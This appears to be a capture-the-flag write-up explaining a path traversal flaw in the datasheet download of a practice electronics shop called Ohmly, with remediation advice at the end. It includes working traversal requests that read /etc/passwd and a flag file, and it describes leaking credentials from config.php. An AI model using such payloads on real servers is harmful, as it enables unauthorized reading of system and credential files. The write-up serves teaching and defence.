Ohmly — Reading Secret Files Through the Datasheet Download
Challenge Overview
Ohmly is an online shop for electronic parts where each product page links to a downloadable PDF datasheet. The download endpoint accepts a filename parameter and returns the file — without validating that the filename is safe. This allows an attacker to escape the intended directory and read arbitrary files from the server.
Reconnaissance
Every product page links to its datasheet like this:
GET /datasheet?doc=ne555.pdf
The app takes whatever filename is supplied in doc and returns the matching file directly.
Vulnerability — Path Traversal (Directory Traversal)
Inspecting the application’s source code confirmed the underlying logic:
$path = 'datasheets/' . $doc;
readfile($path);
The user-supplied filename is concatenated directly onto a folder path with no validation. Using ../ sequences (which mean “go up one directory”) it is possible to escape the datasheets/ folder entirely and read files anywhere on the server the process has permission to access:
GET /datasheet?doc=../../../../../../../etc/passwd
→ 200 OK — contents of /etc/passwd returned
Reading the application’s own source this way also revealed a database password and an internal API key inside config.php — useful bonus findings even before reaching the flag.
Exploitation
Rather than guessing the exact folder depth upfront, we iterated through increasing depths with likely flag filenames until one returned content:
GET /datasheet?doc=../flag.txt → 404
GET /datasheet?doc=../../flag.txt → 404
GET /datasheet?doc=../../../flag.txt → 404
GET /datasheet?doc=../../../../flag.txt → 200 OK, 43 bytes ✅
The flag was in the response body.
Automation Script
ohmly_traversal_poc_verbose.py tries folder depths 1 through 8, each with several likely filenames (flag.txt, flag, flag.php, FLAG.txt), and prints the flag as soon as it finds one:
python3 ohmly_traversal_poc_verbose.py https://<challenge-host>/
Root Cause
The application trusted the user-supplied filename entirely and performed no validation that the resolved file path remained inside the datasheets/ directory before opening it.
Remediation
- Validate the resolved path — after constructing the full file path, check that it still starts with the intended base directory before opening it. Do not rely on stripping
../sequences, as there are many bypass techniques. - Avoid user-supplied filenames entirely — use a short identifier (e.g.
doc=1) that maps server-side to a real filename, keeping the filesystem path completely out of user control. - Least privilege — run the file-serving process with the minimum permissions needed, so that even if traversal succeeds, sensitive files outside the intended scope are not readable.
Flag
WEBVERSE{**************REDACTED**************}
Enjoy Reading This Article?
Here are some more articles you might like to read next: